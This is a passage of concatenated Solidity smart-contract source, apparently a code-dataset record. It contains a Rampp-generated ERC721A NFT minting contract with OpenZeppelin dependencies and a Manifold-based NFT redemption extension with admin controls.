>>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from ReentrancyGuard will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single nonReentrant guard, functions marked as * nonReentrant may not call one another. This can be worked around by making * those functions private, and then adding external nonReentrant entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a nonReentrant function from another nonReentrant * function is not supported. It is possible to prevent this from happening * by making the nonReentrant function external, and making it call a * private function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * onlyOwner, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * onlyOwner functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //-------------END DEPENDENCIES------------------------// /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex; uint256 public immutable collectionSize; uint256 public maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * maxBatchSize refers to how much a minter can mint at a time. * collectionSize_ refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalMinted(); } function currentTokenId() public view returns (uint256) { return _totalMinted(); } function getNextTokenId() public view returns (uint256) { return SafeMath.add(_totalMinted(), 1); } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { unchecked { return currentIndex - _startTokenId(); } } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the baseURI and the tokenId. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether tokenId exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (_mint), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints quantity tokens and transfers them to to. * * Requirements: * * - there must be quantity tokens remaining unminted in the total collection. * - to cannot be the zero address. * - quantity cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers tokenId from from to to. * * Requirements: * * - to cannot be the zero address. * - tokenId token must be owned by from. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve to to operate on tokenId * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set owners to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet'); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When from and to are both non-zero, from's tokenId will be * transferred to to. * - When from is zero, tokenId will be minted for to. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when from and to are both non-zero. * - from and to are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } abstract contract Ramppable { address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1; modifier isRampp() { require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP"); _; } } interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } abstract contract Withdrawable is Ownable, Ramppable { address[] public payableAddresses = [RAMPPADDRESS,0xfB81eFe125A250B52ff1c40FFBD0a47B926Ff552]; uint256[] public payableFees = [5,95]; uint256 public payableAddressCount = 2; function withdrawAll() public onlyOwner { require(address(this).balance > 0); _withdrawAll(); } function withdrawAllRampp() public isRampp { require(address(this).balance > 0); _withdrawAll(); } function _withdrawAll() private { uint256 balance = address(this).balance; for(uint i=0; i < payableAddressCount; i++ ) { _widthdraw( payableAddresses[i], (balance * payableFees[i]) / 100 ); } } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } /** * @dev Allow contract owner to withdraw ERC-20 balance from contract * while still splitting royalty payments to all other team members. * in the event ERC-20 tokens are paid to the contract. * @param _tokenContract contract of ERC-20 token to withdraw * @param _amount balance to withdraw according to balanceOf of ERC-20 token */ function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner { require(_amount > 0); IERC20 tokenContract = IERC20(_tokenContract); require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens'); for(uint i=0; i < payableAddressCount; i++ ) { tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100); } } /** * @dev Allows Rampp wallet to update its own reference as well as update * the address for the Rampp-owed payment split. Cannot modify other payable slots * and since Rampp is always the first address this function is limited to the rampp payout only. * @param _newAddress updated Rampp Address */ function setRamppAddress(address _newAddress) public isRampp { require(_newAddress != RAMPPADDRESS, "RAMPP: New Rampp address must be different"); RAMPPADDRESS = _newAddress; payableAddresses[0] = _newAddress; } } abstract contract RamppERC721A is Ownable, ERC721A, Withdrawable, ReentrancyGuard { constructor( string memory tokenName, string memory tokenSymbol ) ERC721A(tokenName, tokenSymbol, 1, 555 ) {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 2; string public _baseTokenURI = "ipfs://QmRkxcrGAbAN23bn5ygSzPzqaPtZ3GE1EbC3XZnwHcw7Qc/"; bool public mintingOpen = true; bool public isRevealed = false; uint256 public MAX_WALLET_MINTS = 1; mapping(address => uint256) private addressMints; /////////////// Admin Mint Functions /** * @dev Mints a token to an address with a tokenURI. * This is owner only and allows a fee-free drop * @param _to address of the future owner of the token */ function mintToAdmin(address _to) public onlyOwner { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 555"); _safeMint(_to, 1); } function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner { for(uint i=0; i < _addressCount; i++ ) { mintToAdmin(_addresses[i]); } } /////////////// GENERIC MINT FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _to address of the future owner of the token */ function mintTo(address _to) public payable { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 555"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, 1), "Wallet address is over the maximum allowed mints"); _safeMint(_to, 1); updateMintCount(_to, 1); } /** * @dev Mints a token to an address with a tokenURI. * fee may or may not be required* * @param _to address of the future owner of the token * @param _amount number of tokens to mint */ function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 555"); _safeMint(_to, _amount); updateMintCount(_to, _amount); } function openMinting() public onlyOwner { mintingOpen = true; } function stopMinting() public onlyOwner { mintingOpen = false; } /** * @dev Check if wallet over MAX_WALLET_MINTS * @param _address address in question to check if minted count exceeds max */ function canMintAmount(address _address, uint256 _amount) public view returns(bool) { require(_amount >= 1, "Amount must be greater than or equal to 1"); return SafeMath.add(addressMints[_address], _amount) <= MAX_WALLET_MINTS; } /** * @dev Update an address that has minted to new minted amount * @param _address address in question to check if minted count exceeds max * @param _amount the quanitiy of tokens to be minted */ function updateMintCount(address _address, uint256 _amount) private { require(_amount >= 1, "Amount must be greater than or equal to 1"); addressMints[_address] = SafeMath.add(addressMints[_address], _amount); } /** * @dev Update the maximum amount of tokens that can be minted by a unique wallet * @param _newWalletMax the new max of tokens a wallet can mint. Must be >= 1 */ function setWalletMax(uint256 _newWalletMax) public onlyOwner { require(_newWalletMax >= 1, "Max mints per wallet must be at least 1"); MAX_WALLET_MINTS = _newWalletMax; } /** * @dev Allows owner to set Max mints per tx * @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1 */ function setMaxMint(uint256 _newMaxMint) public onlyOwner { require(_newMaxMint >= 1, "Max mint must be at least 1"); maxBatchSize = _newMaxMint; } function unveil(string memory _updatedTokenURI) public onlyOwner { require(isRevealed == false, "Tokens are already unveiled"); _baseTokenURI = _updatedTokenURI; isRevealed = true; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function baseTokenURI() public view returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } } // File: contracts/PepeTrumpsContract.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract PepeTrumpsContract is RamppERC721A { constructor() RamppERC721A("PepeTrumps", "PEPE"){} function contractURI() public pure returns (string memory) { return "https://us-central1-nft-rampp.cloudfunctions.net/app/5p8wFLjJ4VBgilnAfZAc/contract-metadata"; } } //*********************************************************************// //*********************************************************************// // Rampp v2.0.1 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT communities without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Rampp is not associated or affiliated with this project. // Twitter: @Rampp_ ---- rampp.xyz //*********************************************************************// //*********************************************************************//
Mints a token to an address with a tokenURI. fee may or may not be required _to address of the future owner of the token _amount number of tokens to mint/
function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 555"); _safeMint(_to, _amount); updateMintCount(_to, _amount); }
2,004,214
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/ERC721/ERC721CreatorExtensionApproveTransfer.sol"; import "@manifoldxyz/creator-core-extensions-solidity/contracts/enumerable/ERC721/ERC721OwnerEnumerableSingleCreatorExtension.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/ICreatorExtensionTokenURI.sol"; import "@manifoldxyz/creator-core-extensions-solidity/contracts/redeem/ERC721/ERC721RedeemBase.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * Aoki Redeem */ contract AokiEthercards is AdminControl, ERC721OwnerEnumerableSingleCreatorBase, ERC721RedeemBase, ICreatorExtensionTokenURI { uint16 constant max = 1000; using Strings for uint256; uint256 _end = 1627790400; bool private _active; int256 private _offset; string private _endpoint; mapping(address => uint16) public allowed; mapping(address => mapping(uint256 => bool)) public _redeemedTokens; constructor(address creator_, address _ethercards, uint16 ecMax, address[] memory unlimitedContracts, bool[] memory unlimitedOK, address limtedContract, uint256[] memory tokenMinimums, uint256[] memory tokenMaximums) ERC721RedeemBase(creator_, 1, max) { require(unlimitedContracts.length == unlimitedOK.length && unlimitedOK.length == 3,"There should be 3 unlimited Contracts"); allowed[_ethercards] = ecMax; updateApprovedContracts(unlimitedContracts, unlimitedOK); updateApprovedTokenRanges(limtedContract, tokenMinimums,tokenMaximums ); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721RedeemBase, AdminControl, IERC165, ERC721CreatorExtensionApproveTransfer) returns (bool) { return interfaceId == type(ICreatorExtensionTokenURI).interfaceId || ERC721RedeemBase.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId) || ERC721CreatorExtensionApproveTransfer.supportsInterface(interfaceId); } /** * @dev Activate the contract and mint the first few tokens to a specific address * * @param initialMintCount - Number of tokens to initially mint * @param initialMintRecipient - Recipient of the initial minted tokens */ function activate(uint256 initialMintCount, address initialMintRecipient) public adminRequired { require(!_active, "Already active"); IERC721CreatorCore(_creator).setApproveTransferExtension(true); _active = true; // Set the offset only if you want to start the numbering to the ether cards api at a number other than 1 _offset = 0; _endpoint = 'https://client-metadata.ether.cards/api/aoki/DistortedReality/'; // Mint the first tokens for (uint i = 0; i < initialMintCount; i++) { _mintRedemption(initialMintRecipient); } } function setEndpoint(string calldata endpoint) public adminRequired { _endpoint = endpoint; } function setEndOfRedeem(uint256 _newEnd) public adminRequired { _end = _newEnd; } function additionalNFTBonus(address nft, uint16 additional) public adminRequired { allowed[nft] += additional; } function redeem(address tokenContract, uint256 tokenId) public { require(_active, "Inactive"); require(_end > block.timestamp, "Redemption is over"); bool canBeRedeemed = redeemable(tokenContract, tokenId) || allowed[tokenContract] > 0; if (allowed[tokenContract] > 0) { allowed[tokenContract] -= 1; } require(canBeRedeemed && !_redeemedTokens[tokenContract][tokenId], "Invalid token or already redeemed"); require(IERC721(tokenContract).ownerOf(tokenId) == msg.sender, "You do not own this token"); _redeemedTokens[tokenContract][tokenId] = true; _mintRedemption(msg.sender); } // tokenURI extension function tokenURI(address creator, uint256 tokenId) public view override returns (string memory) { require(creator == _creator && _mintNumbers[tokenId] != 0, "Invalid token"); return string(abi.encodePacked(_endpoint,uint256(int256(_mintNumbers[tokenId])+_offset).toString())); } function tokenURI(uint256 tokenId) external view returns (string memory) { return tokenURI(_creator, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IAdminControl.sol"; abstract contract AdminControl is Ownable, IAdminControl, ERC165 { using EnumerableSet for EnumerableSet.AddressSet; // Track registered admins EnumerableSet.AddressSet private _admins; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IAdminControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Only allows approved admins to call the specified function */ modifier adminRequired() { require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin"); _; } /** * @dev See {IAdminControl-getAdmins}. */ function getAdmins() external view override returns (address[] memory admins) { admins = new address[](_admins.length()); for (uint i = 0; i < _admins.length(); i++) { admins[i] = _admins.at(i); } return admins; } /** * @dev See {IAdminControl-approveAdmin}. */ function approveAdmin(address admin) external override onlyOwner { if (!_admins.contains(admin)) { emit AdminApproved(admin, msg.sender); _admins.add(admin); } } /** * @dev See {IAdminControl-revokeAdmin}. */ function revokeAdmin(address admin) external override onlyOwner { if (_admins.contains(admin)) { emit AdminRevoked(admin, msg.sender); _admins.remove(admin); } } /** * @dev See {IAdminControl-isAdmin}. */ function isAdmin(address admin) public override view returns (bool) { return (owner() == admin || _admins.contains(admin)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ICreatorCore.sol"; /** * @dev Core ERC721 creator interface */ interface IERC721CreatorCore is ICreatorCore { /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to) external returns (uint256); /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to) external returns (uint256); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenIds minted */ function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev burn a token. Can only be called by token owner or approved address. * On burn, calls back to the registered extension's onBurn method */ function burn(uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol"; import "../../core/IERC721CreatorCore.sol"; import "./ERC721CreatorExtension.sol"; import "./IERC721CreatorExtensionApproveTransfer.sol"; /** * @dev Suggested implementation for extensions that require the creator to * check with it before a transfer occurs */ abstract contract ERC721CreatorExtensionApproveTransfer is AdminControl, ERC721CreatorExtension, IERC721CreatorExtensionApproveTransfer { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, CreatorExtension, IERC165) returns (bool) { return interfaceId == type(IERC721CreatorExtensionApproveTransfer).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721CreatorExtensionApproveTransfer-setApproveTransfer} */ function setApproveTransfer(address creator, bool enabled) external override adminRequired { require(ERC165Checker.supportsInterface(creator, type(IERC721CreatorCore).interfaceId), "creator must implement IERC721CreatorCore"); IERC721CreatorCore(creator).setApproveTransferExtension(enabled); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/ERC721/ERC721CreatorExtensionApproveTransfer.sol"; import "../../libraries/SingleCreatorExtension.sol"; /** * Provide token enumeration functionality (Base Class. Use if you are using multiple inheritance where other contracts * 